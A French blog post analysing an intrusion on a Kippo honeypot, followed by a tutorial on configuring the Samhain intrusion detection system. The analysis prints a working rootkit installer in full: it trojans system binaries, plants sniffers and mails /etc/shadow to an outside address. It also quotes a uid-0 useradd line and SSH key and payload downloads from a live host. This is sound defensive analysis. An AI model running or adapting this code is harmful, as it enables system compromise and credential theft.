mkdir $BACKUP

# ps ...
if [ -f /usr/bin/ps ]; then
  chattr -isa /usr/bin/ps
  cp /usr/bin/ps $BACKUP
  mv -f ps /usr/bin/ps
  chattr +isa /usr/bin/ps
fi

# syslogd ...
# we won`t trojan it coz its too sensitive and won`t work.
# Admin will notice it upon system-restart!

#if [ -f /sbin/syslogd ]; then
#  chattr -isa /sbin/syslogd
#  cp /sbin/syslogd $BACKUP
#  mv -f syslogd /sbin/syslogd 
#  chattr +isa /sbin/syslogd
#fi
Les binaires sont écrasés et les dates originales conservés dans le déplacement avec l'option -f de mv. Le script conserve une copie des binaires originaux en cas de problème, et il peut y en avoir : architecture ou version de la libc incompatible... Comme le script ne fait aucune vérification ça peut très bien casser le système.
Les backups pourraient toutefois s'avérer utiles à un administrateur qui veut corriger son système quoiqu'il est plus sûr de réinstaller le système complètement.
echo "${DCYN}[${WHI}sh${DCYN}]# : ps/ls/top/netstat/ifconfig/find/ and rest backdoored${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Installing some utils...] ${RES}"

cd $BASEDIR

#if [ ! -f /usr/bin/wget ]; then
#  touch -acmr /bin/ls ./bin/wget
#  chmod 744 ./bin/wget
#  mv ./bin/wget /usr/bin/wget
#fi

# PICO WILL MAKE RK GROW BIG!
# SO FUCK OFF AND USE vi !

#if [ ! -f /usr/bin/pico ]; then
#  touch -acmr /bin/ls ./pico
#  chmod 744 ./pico
#  mv ./pico /usr/bin/pico
#fi
Pour une fois je suis d'accord. Pico ça craint ! Utilisez VI !
touch -acmr /bin/ls $BASEDIR/utilz
touch -acmr /bin/ls $BASEDIR/utilz/*
mv $BASEDIR/utilz $HOMEDIR/

echo "${DCYN}[${WHI}sh${DCYN}]# : mirk/synscan/others... moved ${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# [Moving our files...] ${RES}"

mkdir $HOMEDIR/.sniff
mv $BASEDIR/bin/shsniff $HOMEDIR/.sniff/shsniff
mv $BASEDIR/bin/shp $HOMEDIR/.sniff/shp
mv $BASEDIR/bin/shsb $HOMEDIR/shsb
mv $BASEDIR/bin/hide $HOMEDIR/hide

touch -acmr /bin/ls $HOMEDIR/.sniff/shsniff
touch -acmr /bin/ls $HOMEDIR/.sniff/shp
touch -acmr /bin/ls $HOMEDIR/shsb
touch -acmr /bin/ls $HOMEDIR/hide

chmod +x $HOMEDIR/.sniff/*
chmod +x $HOMEDIR/shsb
chmod +x $HOMEDIR/hide

echo "${DCYN}[${WHI}sh${DCYN}]# : sniff/parse/sauber/hide moved ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Modifying system settings to suite our needs] ${RES}"
Le setup place quelques outils qui étaient dans utilz.tgz. On y retrouve d'autres programmes signés SH-TEAM.
# CHECKING FOR VULN DAEMONS
# JUST WARNING NOT PATCHING HeH
echo "${DCYN}[${WHI}sh${DCYN}]# Checking for vuln-daemons ...  ${RES}"

ps aux > /tmp/.procs

if [ "`cat /tmp/.procs | grep named`" ]; then
  echo "${RED}[${WHI}sh${RED}]# NAMED found - patch it bitch !!!!  ${RES}"
fi

if [ -f /usr/sbin/wu.ftpd ]; then
  echo "${RED}[${WHI}sh${RED}]# WU-FTPD found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep smbd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# SAMBA found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep rpc.statd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# RPC.STATD found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.procs
netstat -natp > /tmp/.stats

if [ "`cat /tmp/.stats | grep 443 | grep http`" ]; then
  echo "${RED}[${WHI}sh${RED}]# MOD_SSL found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.stats

# CHECKING FOR HOSTILE ROOTKITS/BACKDORS
mkdir $HOMEDIR/.owned

if [ -f /etc/ttyhash ]; then
  chattr -AacdisSu /etc/ttyhash
  rm -rf /etc/ttyhash
fi

if [ -d /lib/ldd.so ]; then
  chattr -isa /lib/ldd.so
  chattr -isa /lib/ldd.so/*
  mv /lib/ldd.so $HOMEDIR/.owned/tk8
  echo "${RED}[${WHI}sh${RED}]# tk8 detected and owned ...!!!! ${RES}"
fi

if [ -d /usr/src/.puta ]; then
  chattr -isa /usr/src/.puta
  chattr -isa /usr/src/.puta/*
  mv /usr/src/.puta $HOMEDIR/.owned/tk7
  echo "${RED}[${WHI}sh${RED}]# tk7 detected and owned ...!!!! ${RES}"
fi

if [ -f /usr/sbin/xntpd ]; then
  chattr -isa /usr/sbin/xntpd
  rm -rf /usr/sbin/xntpd
fi

if [ -f /usr/sbin/nscd ]; then
  chattr -isa /usr/sbin/nscd
  rm -rf /usr/sbin/nscd
fi

if [ -d /usr/include/bex ]; then
  chattr -isa /usr/info/termcap.info-5.gz; rm -rf /usr/info/termcap.info-5.gz
  chattr -isa /usr/include/audit.h; rm -rf /usr/include/audit.h
  chattr -isa /usr/include/bex
  chattr -isa /usr/include/bex/*
  mv /usr/include/bex/ $HOMEDIR/.owned/bex2
  if [ -f /var/log/tcp.log ]; then
    chattr -isa /var/log/tcp.log
    cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog
  fi
  chattr -isa /usr/bin/sshd2 >/dev/null 2>&1
  rm -rf /usr/bin/sshd2 >/dev/null 2>&1
  echo "${RED}[${WHI}sh${RED}]# beX2 detected and owned ...!!!! ${RES}" 
fi

if [ -d /dev/tux/ ]; then
  chattr -isa /usr/bin/xsf >/dev/null 2>&1
  rm -rf /usr/bin/xsf >/dev/null 2>&1
  chattr -isa /usr/bin/xchk >/dev/null 2>&1
  rm -rf /usr/bin/xchk >/dev/null 2>&1
  chattr -isa /dev/tux >/dev/null 2>&1
  mv /dev/tux $HOMEDIR/.owned/tuxkit
  echo "${RED}[${WHI}sh${RED}]# tuxkit detected and owned ...!!!!  ${RES}" 
fi

if [ -f /usr/bin/ssh2d ]; then
  chattr -isa /usr/bin/ssh2d
  rm -rf /usr/bin/ssh2d
  chattr -isa /lib/security/.config/
  chattr -isa /lib/security/.config/*
  rm -rf /lib/security/.config
  echo "${RED}[${WHI}sh${RED}]# optickit detected and removed ...!!!! ${RES}" 
fi

if [ -f /etc/ld.so.hash ]; then
  chattr -isa /etc/ld.so.hash
  rm -rf /etc/ld.so.hash
fi
Amusant... Le setup retire les rootkits qui pourrait être présents sur votre système et vous prévient si des démons à la sécurité hasardeuse sont présents (compris bitch ?)
La suite est dans le même ordre d'idée :
chattr +isa /usr/lib/libsh
chattr +isa /lib/libsh.so

# GREPPING SHITZ FROM rc.sysinit and inetd.conf
if [ -f /etc/rc.d/rc.sysinit ]; then
  chattr -isa /etc/rc.d/rc.sysinit
  cat /etc/rc.d/rc.sysinit | grep -v "# Xntps (NTPv3 daemon) startup.."| grep -v "/usr/sbin/xntps"| grep -v "/usr/sbin/nscd" > /tmp/.grep
  chmod +x /tmp/.grep
  touch -acmr /etc/rc.d/rc.sysinit /tmp/.grep
  mv -f /tmp/.grep /etc/rc.d/rc.sysinit
  rm -rf /tmp/.grep
fi

if [ -f /etc/inetd.conf ]; then
  chattr -isa /etc/inetd.conf
  cat /etc/inetd.conf | grep -v "6635"| grep -v "9705" > /tmp/.grep
  touch -acmr /etc/inted.conf /tmp/.grep
  mv -f /tmp/.grep /etc/inetd.conf
  rm -rf /tmp/.grep
fi

# KILLING SOME LAMME DAEMONS
killall -9 -q nscd >/dev/null 2>&1
killall -9 -q xntps >/dev/null 2>&1
killall -9 -q mountd >/dev/null 2>&1
killall -9 -q mserv >/dev/null 2>&1
killall -9 -q psybnc >/dev/null 2>&1
killall -9 -q t0rns >/dev/null 2>&1
killall -9 -q linsniffer >/dev/null 2>&1
killall -9 -q sniffer >/dev/null 2>&1
killall -9 -q lpsched >/dev/null 2>&1
killall -9 -q sniff >/dev/null 2>&1
killall -9 -q sn1f >/dev/null 2>&1
killall -9 -q sshd2 >/dev/null 2>&1
killall -9 -q xsf >/dev/null 2>&1
killall -9 -q xchk >/dev/null 2>&1
killall -9 -q ssh2d >/dev/null 2>&1


echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# [System Information...]${RES}"
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`
echo "${DCYN}[${WHI}sh${DCYN}]# Hostname :${WHI} `hostname -f` ($MYIPADDR)${RES}"
[coupé]

if [ -f /etc/redhat-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/redhat-release`${RES}"
elif [ -f /etc/slackware-version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/slackware-version`${RES}"
elif [ -f /etc/debian_version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/debian_version`${RES}"
elif [ -f /etc/SuSE-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/SuSE-release`${RES}"
elif [ -f /etc/issue ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/issue`${RES}"
else echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} unknown${RES}"
fi
Le setup affiche des informations concernant le système (il devrait peut-être commencer par ça).
rm -rf /tmp/info_tmp
cat /etc/shadow >> /tmp/.cln
/sbin/ifconfig >> /tmp/.cln
cat /etc/issue >> /tmp/.cln
cat /tmp/.cln | mail $md5sum -s "$1:$2:`hostname -f`:$MYIPADDR"
cat /tmp/.cln | mail -s "rk" norocos@canadianbiotech.com
rm -rf /tmp/.cln
Je ne suis pas sûr que le pirate ayant utilisé le rootkit ait fait attention à ça. Peut-être il est partageur ou alors c'est son adresse email (hébergée chez emaileveryone).
endtime=`date +%S`
total=`expr $endtime - $startime`

echo ""
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ipchains ... ? ${RES}"

if [ -f /sbin/ipchains ]; then
  echo "${WHI}`/sbin/ipchains -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no ipchains found${RES}"
fi

echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# iptables ...?${RES}"

if [ -f /sbin/iptables ]; then
  echo "${WHI}`/sbin/iptables -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no iptables found${RES}"
fi
echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# Just ignore all errors if any ! "
echo "${DCYN}[${WHI}sh${DCYN}]# ============================== ${RED}Backdooring completed in :$total seconds ${RES}"

if [ -f /usr/sbin/syslogd ]; then
  /usr/sbin/syslogd -m 0
else
  /sbin/syslogd -m 0
fi

if [ -f /usr/sbin/inetd ]; then
  killall -HUP inetd >/dev/null 2>&1
elif [ -f /usr/sbin/xinetd ]; then
  killall -HUP xinetd
fi

cd $BASEDIR
rm -rf ../.rc
sendmail root -p norocos@canadianbiotech.com

cd ..
rm -rf .rc rk.jpg
# EOF
Après avoir installé le rootkit, notre intrus affiche le contenu de /etc/passwd puis tente d'ajouter un utilisateur avec l'uid 0 avec la commande suivante :
/usr/sbin/useradd -u 0 -g 0 -o -d "/home/admin" admin 2>&1
Seulement Kippo est assez limité dans ses fonctionnalités et cette commande n'est pas effective. Le pirate tentera de la lancer une nouvelle fois puis abandonnera.

Il va alors télécharger la clé SSH à l'adresse http://unixcrew.t35.com/authorized_keys et la placer dans /root/.ssh.

Le contenu est le suivant :
ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIBCkXfcxijdvoA3Ee0Ea0yhphOLuvm0+KtEWowekUuokh
2w4H72AKniI37DIuPDtgCHbqNAsUsU33SlZE2wrEo4LQaS3KL1z6egwnuT2PIFP5XV5DUb
7Hck9gloyyUBVr0TVxRwPunuLINEUTi/2LAca1IdOeGfN+g7qlDScHLrXw== TheDemon
Pour terminer il télécharge le fichier http://unixcrew.t35.com/poza1.jpg qui est en réalité une archive et la décompresse.
Cela provoque la génération d'un dossier nommé webmail dans lequel il se place et tape la commande "make" alors qu'aucun Makefile n'est présent dans le dossier.
Dans ce dossier on trouve un bot IRC EnergyMech classique configuré pour le pseudo TheDemon sur UnderNet.
Il se déconnectera et ne se reconnectera pas...

Conclusion

On a affaire à un pirate un peu au dessus du niveau pathétique de ceux que l'on a l'habitude d'observer sur ce type de honeypot. Il cherche à couvrir ses traces avec un rootkit et connait la commande useradd. Il se débrouille sous Linux en ligne de commande.
En revanche il fait un piètre hacker : il installe un rootkit, pas tout récent, pour cacher ses traces mais au lieu de se servir des fonctionnalités du logiciel, il créé un nouvel utilisateur sur le système avec UID 0 et créé un dossier non-caché nommé webmail dans le dossier /root. Le mot webmail ne faisant pas parti des dossiers pris en compte par le rootkit.
Il installe aussi un bot EnergyMech alors que le rootkit inclus une backdoor destinée à être invisible... Bref il utilise des outils dont il ignore le fonctionnement et qui ont probablement laissé un accès à l'auteur original du rootkit, par exemple à l'aide du script nommé simplement a lancé discrètement qui créé un utilisateur et envoi un mail à l'adresse que l'on a croisé plusieurs fois...

Initiation au système de détection d'intrusion Samhain

Rédigé par devloop - -

Présentation de Samhain

Samhain est un HIDS multiplateforme pour les systèmes UNIX, Linux et Windows (à travers l'utilisation de Cygwin). Il est sous licence libre GNU GPL.
Il fonctionne essentiellement comme un logiciel de vérification d'intégrité du système en surveillant en permanence les fichiers et en reportant toute modification qui a eu lieu.
Il possède toutefois d'autres fonctionnalités qui en font un outil de détection d'intrusion puissant.

Pourquoi utiliser Samhain plutot que X ou Y ?

L'un des avantages de Samhain est que son développement est toujours actif comparé à ses concurrents dont les dernières versions datent un peu : AIDE (février 2011), Tripwire (mars 2010), Osiris (janvier 2007) et Integrit (juin 2007).
De plus en terme de fonctionnalités, il se place largement au dessus des logiciels précédemment cités (voir plus loin).
Son seul vrai rival semble alors être OSSEC que je n'ai pas eu l'occasion de tester.

Pourquoi cet article ?

Tout d'abord les ressources en français sur ce logiciel manquent cruellement et n'entrent pas dans les détails.
Ensuite, malgré la documentation, un utilisateur novice se retrouve face à des questions auxquelles j'ai tenté de répondre dans le présent article.
Enfin c'est l'occasion de partager un point de vue sur un logiciel gratuit et open-source.

L'installation

La compilation du code source est simple et tout ce qu'il y a de plus classique sous Linux : un fichier configure et un makefile.
Toutefois avant de se lancer dans cette opération, je vous conseille vivement de lire la documentation (manuel, FAQ etc) et de faire le tour des fonctionnalités proposées car de nombreuses options du script configure permettent d'inclure des modules intéressants qui ne sont pas présents par défaut.
Pour voir les options de configuration disponibles, vous pouvez vous rendre sur cette page mais le mieux est probablement de lancer un ./configure --help pour lister la totalité des options disponibles dans la version que vous avez récupéré.

Parmi les options supplémentaires dédiées à la sécurité on notera entre autres la surveillance des programmes SetUID, la possibilité de surveiller les modules kernel (présence de rootkit), l'analyse des fichiers journaux, les vérifications sur les systèmes de fichiers montés, la surveillance des ports ouverts et la détection des processus cachés.
Sous Windows (avec Cygwin) un module permet de surveiller les clés de la base de registre.

Une autre des "killer features" pour les utilisateurs avancés est la possibilité de rendre Samhain furtif. On peut offusquer les données de log, dissimuler le fichier de configuration par stéganographie, renommer facilement les exécutables à la compilation ou utiliser un module kernel pour le cacher complètement au système.

Les administrateurs systèmes ne sont pas en reste avec certaines fonctionnalités comme la possibilité de tout loguer vers une base de données (à la place du fichier journal) ou vers un serveur de journalisation central.
Pour des mesures de sécurité ou parce que vous souhaitez monitorer plusieurs machines, vous pourrez en effet mettre en place le serveur de journalisation Yule qui fait partie du projet Samhain.

Pour aller encore plus loin, on citera également le logiciel Beltane qui est une console de gestion web (en PHP) permettant de surveiller efficacement des machines avec Samhain installé.

Samhain offre aussi un support de l'IDS Prelude, activable là aussi par une option de compilation.

Une fois le logiciel configuré puis installé (make) j'ai mis en place le script d'init par la commande make install-boot.

Configuration utilisée pour cet article

Dans mon cas, j'ai utilisé une configuration très basique : la base de Samhain (surveillance des fichiers) ainsi que la surveillance des ports et des processus.

J'ai tenté la première fois d'activer la surveillance des modules kernel mais j'ai obtenu une erreur de compilation. Comme j'avais des doutes sur mon utilisation de cette option (que se passe t-il quand on met à jour le kernel ou le module nVidia ?), je n'ai pas insisté et l'ai désactivé.

J'ai compilé aussi le support de vérification des fichiers SUID mais d'après la documentation ce module est assez gourmand en ressources. Il est toutefois possible de régler son utilisation du disque par des directives spéciales dans le fichier de configuration.

Je n'ai pas non plus utilisé le serveur de log Yule : la journalisation se fait ici en local dans un fichier de log (par défaut /var/log/samhain_log).

Fonctionnement général de Samhain

En tant que vérificateur d'intégrité du système, Samhain surveille tous les fichiers et dossiers présents sur votre système pour vous alerter des modifications. Pour cela il lui faut bien sûr une base initiale qui lui sert de référence et qui contient les noms des fichiers du système avec leur informations associées (taille, timestamps, propriétaires, permissions, attributs étendus...)

Cette base sous format binaire se situe dans le fichier /var/lib/samhain/samhain_file et est nommée "baseline database" ou encore "on-disk database" dans la documentation de Samhain.

Note : le fichier de configuration et cette base de données peuvent être signées cryptographiquement pour ajouter un niveau de sécurité. Voir l'annexe A3 ainsi que le chapitre 8 de la documentation.

Dès que Samhain détectera une modification par rapport à ce qui est enregistré dans la base, il l'indiquera à travers une ligne dans le journal de log.
Cela peut être l'ajout ou la disparition d'un fichier, un changement de taille, de permissions, une date de modification ou de dernier accès etc.

Première utilisation

Une fois Samhain installé sur la machine, il faut créer la base initiale.
On remplie cette base avec la commande suivante qui va scanner vos disques et mémoriser les caractéristiques de chaque fichier et dossier :
samhain -t init -p info
L'option -t permet de spécifier l'action à entreprendre (ici une initialisation) et l'option -p indique le niveau de verbosité à employer sur la sortie console (stdout).
Nous reviendrons plus tard sur cette notion de verbosité.

Le fichier de configuration

Tous les réglages pour fixer quels fichiers et répertoires surveiller et comment les surveiller ainsi que les réactions à produire en fonction des changements détectés sur le système sont définis dans un fichier de configuration unique : /etc/samhainrc.

Ce fichier de configuration en texte seul a une syntaxe très simple :
Ça se résume à des noms de sections dans lesquels se trouvent des couples clé/valeur séparées par le caractère égal (=).

Une section peut apparaître plusieurs fois. Le fichier de configuration fourni par défaut utilise d'ailleurs cette caractéristique pour regrouper les règles (couples clé/valeur) d'après l'emplacement des fichiers sur le disque.

Les commentaires (qui commencent par le caractères dièse) peuvent être utilisés pour mieux s'y retrouver.

Par exemple on écrira :
# --- règles pour /etc ---
[ReadOnly]
file=/etc/passwd

[Attributes]
file=/etc/mtab

# --- règles pour /var ---
[ReadOnly]
dir=/var/lib
[Attributes]
file=/var/tmp
[LogFiles]
file=/var/run/utmp
qui est plus lisible que :
[ReadOnly]
file=/etc/passwd
dir=/var/lib

[Attributes]
file=/etc/mtab
file = /var/tmp

[LogFiles]
file=/var/run/utmp
Ce sera plus efficace pour retrouver une règle ou trouver où en placer une supplémentaire.

Comme vous avez pu le remarquer, les clés les plus fréquentes sont file (quand il s'agit d'un fichier) et dir (pour un dossier). Quand à la valeur il s'agit du chemin vers la ressource concernée.

Les dossiers sont des cas particuliers car ils peuvent être traitées aussi comme des fichiers (sous Linux, tout est fichier).
Ainsi on peut activer une règle pour le contenu d'un dossier avec une clé dir, et une autre règle pour le dossier en lui même avec la clé file. Ca peut éviter des doublons dans le fichier de log car pour toute modification d'un fichier dans le dossier, le dossier en lui-même est aussi modifié (date de dernière modification)...

Il faut tout de même faire très attention aux règles qu'on emploie : si on ne surveille que le contenu du dossier et pas le dossier lui-même, Samhain risque par exemple de passer outre la détection d'une opération de création aussitôt suivie de suppression d'un même fichier : le contenu du dossier n'aura pas eu l'air de changer mais les propriétés du répertoire on gardé d'une trace de cette activité, il peut être utile de le signaler.

Concernant l'ordre dans lequel les règles sont prises en compte, c'est toujours la règle avec le chemin le plus spécifique (le plus proche du fichier concerné) qui l'emporte. L'ordre des sections n'a aucune importance. Les règles indiquées sous une section sont considérées comme en faisant partie.

Un exemple concret et applicable est présent dans le fichier de configuration par défaut :
[ReadOnly]
## for these files, only access time is ignored
dir = 99/etc

[Attributes]
## check permission and ownership
file = /etc/mtab
Il indique à Samhain de surveiller toute modification (sans les dates de dernier accès, section [ReadOnly]) sur les fichiers se trouvant dans /etc, sauf pour le fichier /etc/mtab dont il faut uniquement surveiller les permissions (section [Attributes]) car ce fichier est généré dynamiquement par le système, inutile de reporter les modifications sur son contenu.
On aurait très bien pu inverser les sections avec leurs clés associées, Samhain aurait appliqué les règles de la même façon.

Un autre point à connaître est le fait que si un dossier est à la fois dans une clé dir et une clé file, c'est la clé file qui prédomine.
S'il y a réellement une incohérence (le même couple clé/valeur dans deux sections différentes par exemple), Samhain générera un message d'erreur et refusera probablement de se lancer.

Les clés file et dir ne sont pas les seules clés disponibles mais sont celles auxquelles vous aurez le plus recourt.
Une page de documentation rassemble tout ce qu'il faut connaître sur la gestion des fichiers par Samhain.

Un chemin de fichier indiqué dans une clé file ou dir sera toujours complet, c'est à dire qu'il débutera par le caractère / indiquant la racine.
Les caractères spéciaux du shell Unix (*, ?, [...]) ainsi que d'autres éléments sont acceptés et permettent par exemple d'appliquer des règles à un groupe de fichier correspondant au même pattern.

Pour les clés dir, le chemin peut être précédé d'un indice de récursion (ou de profondeur) indiquant jusqu'à quel niveau de sous-dossier s'applique la règle.
Cet indice est un entier qui peut aller jusqu'à 99. Par défaut, en l'absence de cette indice, il est à 0, c'est à dire que la règle s'applique à tous les éléments directement dans le dossier mais pas aux sous-dossiers.
Un indice de -1 est un cas particulier qui permet de ne pas surveiller le contenu du dossier, quelque soit le niveau de profondeur.

La documentation de Samhain donne 3 exemples concrets pour illustrer cela :

Exemple 1 : Si vous voulez uniquement surveiller les fichiers dans un dossier mais pas l'inode du dossier lui-même, utilisez :
[ReadOnly]
dir = /u01/oracle/archive00
[IgnoreAll]
file = /u01/oracle/archive00
Exemple 2 : Si vous voulez surveiller un dossier, mais pas son contenu qui change fréquemment :
[Attributes]
file = /var/spool/mqueue
file = /tmp
[IgnoreAll]
dir=-1/var/spool/mqueue
dir=-1/tmp
Exemple 3 : Si vous souhaitez surveiller un dossier (en temps que fichier), tout en vous assurant qu'aucun fichier à l'intérieur ne soit supprimé mais pas les attributs actuels de ces fichiers :
[Attributes]
file = /root
[IgnoreAll]
dir=0/root

Les sections pour gérer les fichiers et dossiers

Maintenant que que nous avons vu les clés dir et file, regardons de plus près les sections disponibles.
L'utilisation de ces règles requiert une bonne connaissance des systèmes de fichiers que vous utilisez.
Je vous invite à ce sujet à consulter la page Wikipedia sur les MAC times (modification/access/change).

La section [ReadOnly] permet comme son nom l'indique de surveiller les fichiers qui ne sont pas sensés changer, si ce n'est leur date de dernier accès.
Sont surveillés : le propriétaire, le groupe, les permissions, le type de fichier, le numéro de périphérique, les hard-links (ou lien matériel), les liens symboliques (soft-links), le numéro d'inode, la somme de contrôle, la taille, la date de dernière modification et la date de changement (ctime).
C'est probablement le paramétrage de surveillance le plus complet que vous utiliserez. C'est très pratique pour les fichiers statiques que l'on trouve dans /etc, /bin, /usr...

La section [IgnoreNone] est encore plus radicale car elle surveille le dernier accès (atime). En revanche elle ne prend pas le compte le temps de changement (ctime).
La documentation propose d'utiliser ce paramètre comme un pot de miel pour pirates : placer sur votre système un fichier au nom alléchant (ex: bank_accounts.xls) et indiquer son chemin dans la section [IgnoreNone] pour remonter toute lecture du fichier leurre.

La section [Attributes] permet comme son nom l'indique de surveiller les changements sur les droits (propriétaire, groupe, permissions), le type de fichier et le numéro de périphérique.
Elle ferme les yeux sur les changements de taille et de date.
On peut par exemple utiliser cette section pour surveiller un fichier de base de données : son contenu va changer en permanence, inutile donc de surveiller les modifications. En revanche un changement de propriétaire ou de droit d'accès (passage en exécutable) est suspicieux.

La section [LogFiles] vérifie les fichiers journaux dont la taille peut varier en grandissant ou en diminuant. Tout est surveillé sauf les dates, la taille du fichier et la signature.

La section [GrowingLogFiles] est identique à la précédente sauf que Samhain s'assure que la taille du fichier ne va pas diminuant.

La section [IgnoreAll] ignore toutes les métadonnées concernant un fichier. Elle ne permet que de s'assurer de la présence du fichier.

La section [PreLink] est utilisée pour les librairies préchargées (voir Prelink sur Wikipedia). Je n'en ai pas personnellement l'utilité.

Les sections [UserX] (X allant de 0 à 4 inclus) sont des sections supplémentaires qui par défaut reportent toute modification.

Les sections spécifiques

Les autres sections permettent de fixer des options sur le fonctionnement de Samhain et de ses modules.

La section [EventSeverity] permet de définir le niveau d'alerte renvoyé pour chaque manquement à une règle donnée. Dans cette section on pourra par exemple placer les lignes suivantes :
SeverityReadOnly=crit
SeverityGrowingLogs=warn
SeverityIgnoreAll=info
Les niveaux d'alerte sont décris au chapitre 4.1.1 de la documentation.

La section [Log] est en lien direct avec la précédente. Elle permet de définir des seuils pour chaque méthode de journalisation.
Si une alerte est levée, elle sera journalisée sur tous les systèmes de log dont le seuil est inférieur ou égal au niveau de l'alerte.
Ainsi si le seuil est défini à "warn", les alertes de niveau "info" ne seront pas logués tandis que les alertes de niveau "warn" et "crit" seront historisées.

Dans cette section on utilisera par exemple des clés/valeurs de cette façon :
MailSeverity=crit
LogSeverity=warn
PrintSeverity=info
Ici les alertes de niveau "info" ou supérieures sont envoyées à la console.
Les alertes de niveau "warn" ou supérieures sont conservées dans un fichier.
Les alertes "crit" ou supérieures feront l'objet d'un email envoyé à l'administrateur.
Dans mon cas j'ai défini PrintSeverity à none. J'utilise généralement X mais en cas de plantage je veux pouvoir utiliser la console (Ctrl+Alt+F1) sans être ennuyé.

La section [PortCheck] permet de vérifier les ports ouverts sur la machine. Il faut l'activer avec PortCheckActive=yes.
Par défaut les ports TCP 0 à 65535 sont scannés à un intervalle de secondes définie par la clé PortCheckInterval.
On peut spécifier les ports qui doivent normalement être ouvert avec la clé PortCheckRequired. Celle-ci prend comme valeur une interface (IP) suivi d'un port (ou d'un service) séparé par un slash avec le protocole. On peut spécifier une liste de port/protocole en les séparant par des virgules.

Exemple (présent dans la documentation) :
PortCheckRequired = 192.168.1.128:22/tcp,25/tcp,80/tcp,portmapper/tcp,portmapper/udp
Le même formatage sera utilisé avec les clés PortCheckOptional, PortCheckIgnore et PortCheckSkip.
La clé PortCheckIgnore spécifie les ports ouverts pour lesquels aucune alerte ne sera relevée. Toutefois le scan sur ces ports à tout de même lieu.
Si vous souhaitez que Samhain ne scanne pas du tout un port donné, il faut avoir recours à PortCheckSkip.

Brièvement :
  • La section [SuidCheck] permet de configurer le module de surveillances des fichiers SetUID. Des clés/valeurs spécifiques sont décrites dans la documentation comme la clé SuidCheckFps qui spécifie le nombre de fichiers à surveiller par secondes.
  • La section [Kernel] permet de gérer le module de détection de rootkits.
  • La section [Utmp] surveille les activités des comptes utilisateurs (connexion/déconnexion).
  • La section [Database] permet de configurer l'utilisation d'une base de données.
  • La section [External] permet d'appeler des scripts et programmes externes.
  • La section [ProcessCheck] cherche des processus cachés.
  • La section [Mounts] vérifie les disques montés.
  • La section [Logmon] est dédiée à la surveillance de fichiers journaux. On peut par exemple lever une alerte si une ligne correspondant à une expression régulière est trouvée dans un journal.
  • Enfin la section [Registry] permet de mettre en place une surveillance du registre Windows.
  • Les clés et valeurs possibles pour ces modules sont indiquées dans la documentation ou à décommenter dans le fichier samhainrc fournit avec le logiciel.

    La section [Misc]

    Cette section offre des options de configuration très utiles. La plus importante étant sans doute la clé "Daemon" indiquant à Samhain s'il doit se lancer ou nom en tant que démon.
    Personnellement je l'ai laissé à "yes" ce qui est probablement plus sûr mais vous pouvez très bien préférer de lancer Samhain en tache crontab avec cette option à "no".

    La clé "SetFileCheckTime" défini l'intervalle de temps (en secondes) entre deux vérifications complètes du système.

    Les clés "SetMailAddress", "SetMailRelay" et "MailSubject" sont comme vous le devinez dédiées à l'envoi d'alertes par email.

    Les clés "IgnoreAdded" et "IgnoreMissing" parlent d'elles même. On peut les utiliser pour les fichiers au nom prédéterminés qui apparaissent temporairement (fichier cache d'une application par exemple)

    Les clés "Redef*" permettent de réécrire le fonctionnement d'une section pour ajouter ou retirer des vérifications par rapport à ce qui est fait par défaut.
    La valeur doit être un ensemble de mots clés précédé d'un signe '+' (ajout) ou d'un '-' (retrait).

    Les mots clés sont :
    CHK (checksum)
    TXT (stocker le contenu du fichier dans la base)
    LNK (lien symbolique)
    HLN (hardlink)
    INO (inode)
    USR (utilisateur propriétaire)
    GRP (groupe)
    MTM (mtime)
    ATM (atime)
    CTM (ctime)
    SIZ (taille du fichier)
    RDEV (numéro de périphérique)
    MOD (file mode)
    PRE (Linux; prelinked binary)
    SGROW (file size is allowed to grow)
    AUDIT (Linux; report who changed the file)
    On écrira par exemple :
    RedefReadOnly = -INO,-USR,-GRP
    Ces réécritures doivent apparaître avant les sections concernées. Il est alors préférable de mettre la section [Misc] en tête de fichier.

    La clé "FileNamesAreUTF8" permet d'indiquer à Samhain s'il risque de croiser des noms de fichiers Unicode. En 2011, je vous conseille de le mettre à "yes". On trouve souvent sur le systèmes des noms de fichiers certificats avec des accents... Sans cette option vous risquez d'obtenir des messages "Weird Filename" dans vos logs.

    Le fichier samhainrc fournit par défaut offre une configuration quasi prête à l'emploi mais il faut par exemple changer les noms de fichiers pour l'adapter aux choix propres à la distribution.
    Par exemple le fichier /var/lib/logrotate/status du samhainrc peut être /var/lib/logrotate.status sur votre système.

    Le fichier de log

    Le fichier journal est par défaut /var/log/samhain_log. Au format texte uniquement, il contient un message par ligne.
